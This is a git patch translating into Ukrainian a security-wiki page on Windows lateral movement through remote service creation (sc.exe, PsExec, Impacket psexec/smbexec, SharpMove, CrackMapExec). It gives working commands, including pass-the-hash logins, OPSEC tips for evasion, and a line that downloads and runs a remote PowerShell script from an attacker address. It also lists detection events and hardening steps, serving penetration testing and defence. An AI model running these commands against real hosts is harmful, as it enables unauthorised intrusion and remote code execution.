From 014c96ae212d68f0aa3dae76012ebc9db5b87be6 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Mon, 18 Aug 2025 14:17:37 +0000
Subject: [PATCH] Translated
 ['src/windows-hardening/lateral-movement/psexec-and-winexec.m

---
 .../lateral-movement/psexec-and-winexec.md    | 157 ++++++++++++++----
 1 file changed, 129 insertions(+), 28 deletions(-)

diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
index 9cec3b6a4..894b16155 100644
--- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md
+++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
@@ -4,46 +4,147 @@
 
 ## Як вони працюють
 
-Процес описаний у наступних кроках, ілюструючи, як маніпулюються бінарні файли служб для досягнення віддаленого виконання на цільовій машині через SMB:
+Ці техніки зловживають Менеджером контролю служб Windows (SCM) віддалено через SMB/RPC для виконання команд на цільовому хості. Загальний процес:
 
-1. **Копіювання бінарного файлу служби до спільного доступу ADMIN$ через SMB** виконується.
-2. **Створення служби на віддаленій машині** здійснюється шляхом вказівки на бінарний файл.
-3. Служба **запускається віддалено**.
-4. Після виходу служба **зупиняється, а бінарний файл видаляється**.
+1. Аутентифікація на цільовому хості та доступ до спільної папки ADMIN$ через SMB (TCP/445).
+2. Копіювання виконуваного файлу або вказівка команди LOLBAS, яку служба буде виконувати.
+3. Створення служби віддалено через SCM (MS-SCMR через \PIPE\svcctl), вказуючи на цю команду або двійковий файл.
+4. Запуск служби для виконання корисного навантаження та, за бажанням, захоплення stdin/stdout через іменований канал.
+5. Зупинка служби та очищення (видалення служби та будь-яких скинутих двійкових файлів).
 
-### **Процес ручного виконання PsExec**
+Вимоги/попередні умови:
+- Локальний адміністратор на цільовому хості (SeCreateServicePrivilege) або явні права на створення служби на цільовому хості.
+- Доступний SMB (445) та спільна папка ADMIN$; Дозволено віддалене управління службами через брандмауер хоста.
+- Обмеження UAC для віддалених: з локальними обліковими записами фільтрація токенів може блокувати адміністратора через мережу, якщо не використовувати вбудованого адміністратора або LocalAccountTokenFilterPolicy=1.
+- Kerberos проти NTLM: використання імені хоста/FQDN дозволяє Kerberos; підключення за IP часто повертається до NTLM (і може бути заблоковане в захищених середовищах).
 
-Припустимо, що є виконуваний вантаж (створений за допомогою msfvenom і обфусцований за допомогою Veil для уникнення виявлення антивірусом), названий 'met8888.exe', що представляє вантаж meterpreter reverse_http, виконуються наступні кроки:
+### Ручний ScExec/WinExec через sc.exe
 
-- **Копіювання бінарного файлу**: Виконуваний файл копіюється до спільного доступу ADMIN$ з командного рядка, хоча його можна розмістити в будь-якому місці файлової системи, щоб залишитися непоміченим.
-- Замість копіювання бінарного файлу також можна використовувати бінарний файл LOLBAS, такий як `powershell.exe` або `cmd.exe`, щоб виконувати команди безпосередньо з аргументів. Наприклад, `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
-- **Створення служби**: Використовуючи команду Windows `sc`, яка дозволяє запитувати, створювати та видаляти служби Windows віддалено, створюється служба з назвою "meterpreter", яка вказує на завантажений бінарний файл.
-- **Запуск служби**: Останній крок полягає в запуску служби, що, ймовірно, призведе до помилки "time-out" через те, що бінарний файл не є справжнім бінарним файлом служби і не повертає очікуваний код відповіді. Ця помилка не має значення, оскільки основна мета - виконання бінарного файлу.
+Наступне показує мінімальний підхід до створення служби. Зображення служби може бути скинутим EXE або LOLBAS, таким як cmd.exe або powershell.exe.
+```cmd
+:: Execute a one-liner without dropping a binary
+sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
+sc.exe \\TARGET start HTSvc
+sc.exe \\TARGET delete HTSvc
 
-Спостереження за прослуховувачем Metasploit покаже, що сесія була успішно ініційована.
-
-[Дізнайтеся більше про команду `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
-
-Знайдіть більш детальні кроки в: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
-
-- Ви також можете використовувати **бінарний файл Windows Sysinternals PsExec.exe**:
-
-![](<../../images/image (928).png>)
-
-Або отримати доступ до нього через webdav:
-```bash
-\\live.sysinternals.com\tools\PsExec64.exe -accepteula
+:: Drop a payload to ADMIN$ and execute it (example path)
+copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
+sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
+sc.exe \\TARGET start HTSvc
+sc.exe \\TARGET delete HTSvc
 ```
-- Ви також можете використовувати [**SharpLateral**](https://github.com/mertdas/SharpLateral):
+Примітки:
+- Очікуйте помилку тайм-ауту при запуску EXE, що не є службою; виконання все ще відбувається.
+- Щоб залишатися більш дружніми до OPSEC, надавайте перевагу безфайловим командам (cmd /c, powershell -enc) або видаляйте скинуті артефакти.
+
+Знайдіть більш детальні кроки за адресою: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
+
+## Інструменти та приклади
+
+### Sysinternals PsExec.exe
+
+- Класичний інструмент адміністратора, який використовує SMB для скидання PSEXESVC.exe в ADMIN$, встановлює тимчасову службу (ім'я за замовчуванням PSEXESVC) і проксірує I/O через іменовані канали.
+- Приклади використання:
+```cmd
+:: Interactive SYSTEM shell on remote host
+PsExec64.exe -accepteula \\HOST -s -i cmd.exe
+
+:: Run a command as a specific domain user
+PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
+
+:: Customize the service name for OPSEC (-r)
+PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
+```
+- Ви можете запускати безпосередньо з Sysinternals Live через WebDAV:
+```cmd
+\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
+```
+OPSEC
+- Залишає події встановлення/видалення служби (Ім'я служби часто PSEXESVC, якщо не використано -r) і створює C:\Windows\PSEXESVC.exe під час виконання.
+
+### Impacket psexec.py (схожий на PsExec)
+
+- Використовує вбудовану службу, схожу на RemCom. Скидає тимчасовий бінарний файл служби (зазвичай з випадковою назвою) через ADMIN$, створює службу (за замовчуванням часто RemComSvc) і проксірує I/O через іменований канал.
 ```bash
+# Password auth
+psexec.py DOMAIN/user:Password@HOST cmd.exe
+
+# Pass-the-Hash
+psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
+
+# Kerberos (use tickets in KRB5CCNAME)
+psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
+
+# Change service name and output encoding
+psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
+```
+Артефакти
+- Тимчасовий EXE у C:\Windows\ (випадкові 8 символів). Ім'я служби за замовчуванням - RemComSvc, якщо не переопределено.
+
+### Impacket smbexec.py (SMBExec)
+
+- Створює тимчасову службу, яка запускає cmd.exe і використовує іменований канал для вводу/виводу. Загалом уникає скидання повного EXE вантажу; виконання команд є напівінтерактивним.
+```bash
+smbexec.py DOMAIN/user:Password@HOST
+smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
+```
+### SharpLateral та SharpMove
+
+- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) реалізує кілька методів бічного переміщення, включаючи виконання на основі сервісу.
+```cmd
 SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
 ```
-- Ви також можете використовувати [**SharpMove**](https://github.com/0xthirteen/SharpMove):
-```bash
+- [SharpMove](https://github.com/0xthirteen/SharpMove) включає модифікацію/створення служби для віддаленого виконання команди.
+```cmd
 SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
 SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
 ```
-- Ви також можете використовувати **Impacket's `psexec` та `smbexec.py`**.
+- Ви також можете використовувати CrackMapExec для виконання через різні бекенди (psexec/smbexec/wmiexec):
+```bash
+cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
+cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
+```
+## OPSEC, виявлення та артефакти
+
+Типові артефакти хоста/мережі при використанні технік, подібних до PsExec:
+- Безпека 4624 (Тип входу 3) та 4672 (Спеціальні привілеї) на цілі для облікового запису адміністратора, що використовується.
+- Безпека 5140/5145 Події спільного доступу до файлів та деталі спільного доступу до файлів, що показують доступ до ADMIN$ та створення/запис службових бінарних файлів (наприклад, PSEXESVC.exe або випадковий 8-символьний .exe).
+- Безпека 7045 Встановлення служби на цілі: імена служб, такі як PSEXESVC, RemComSvc або користувацькі (-r / -service-name).
+- Sysmon 1 (Створення процесу) для services.exe або образу служби, 3 (З'єднання з мережею), 11 (Створення файлу) в C:\Windows\, 17/18 (Трубопровід створено/підключено) для трубопроводів, таких як \\.\pipe\psexesvc, \\.\pipe\remcom_*, або випадкові еквіваленти.
+- Артефакт реєстру для EULA Sysinternals: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 на хості оператора (якщо не подавлено).
+
+Ідеї для полювання
+- Сповіщення про встановлення служб, де ImagePath включає cmd.exe /c, powershell.exe або TEMP-локації.
+- Шукати створення процесів, де ParentImage є C:\Windows\PSEXESVC.exe або діти services.exe, що працюють як LOCAL SYSTEM, виконуючи оболонки.
+- Позначати іменовані трубопроводи, що закінчуються на -stdin/-stdout/-stderr або відомі імена трубопроводів клонів PsExec.
+
+## Усунення поширених збоїв
+- Доступ заборонено (5) при створенні служб: не справжній локальний адміністратор, обмеження UAC для локальних облікових записів або захист від підробки EDR на шляху до бінарного файлу служби.
+- Мережева адреса не знайдена (53) або не вдалося підключитися до ADMIN$: брандмауер блокує SMB/RPC або адміністративні спільні папки вимкнені.
+- Kerberos не вдається, але NTLM заблоковано: підключайтеся за допомогою імені хоста/FQDN (не IP), забезпечте правильні SPN або надайте -k/-no-pass з квитками при використанні Impacket.
+- Час запуску служби вичерпано, але корисне навантаження виконано: очікується, якщо це не справжній бінарний файл служби; захопіть вихід у файл або використовуйте smbexec для живого I/O.
+
+## Примітки щодо зміцнення (сучасні зміни)
+- Windows 11 24H2 та Windows Server 2025 вимагають підписування SMB за замовчуванням для вихідних (та вхідних з Windows 11) з'єднань. Це не порушує законне використання PsExec з дійсними обліковими даними, але запобігає зловживанню непідписаним SMB реле та може вплинути на пристрої, які не підтримують підписування.
+- Нове блокування NTLM клієнта SMB (Windows 11 24H2/Server 2025) може запобігти зворотному зв'язку NTLM при підключенні за IP або до серверів, що не підтримують Kerberos. У зміцнених середовищах це зламає PsExec/SMBExec на основі NTLM; використовуйте Kerberos (ім'я хоста/FQDN) або налаштуйте винятки, якщо це дійсно потрібно.
+- Принцип найменших привілеїв: мінімізуйте членство локальних адміністраторів, надавайте перевагу Just-in-Time/Just-Enough Admin, впроваджуйте LAPS та моніторте/сповіщайте про встановлення служб 7045.
+
+## Дивіться також
+
+- WMI-орієнтоване віддалене виконання (часто безфайлове):
+{{#ref}}
+lateral-movement/wmiexec.md
+{{#endref}}
+
+- WinRM-орієнтоване віддалене виконання:
+{{#ref}}
+lateral-movement/winrm.md
+{{#endref}}
 
 
+
+## Посилання
+
+- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
+- Зміцнення безпеки SMB у Windows Server 2025 та Windows 11 (підписування за замовчуванням, блокування NTLM): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
 {{#include ../../banners/hacktricks-training.md}}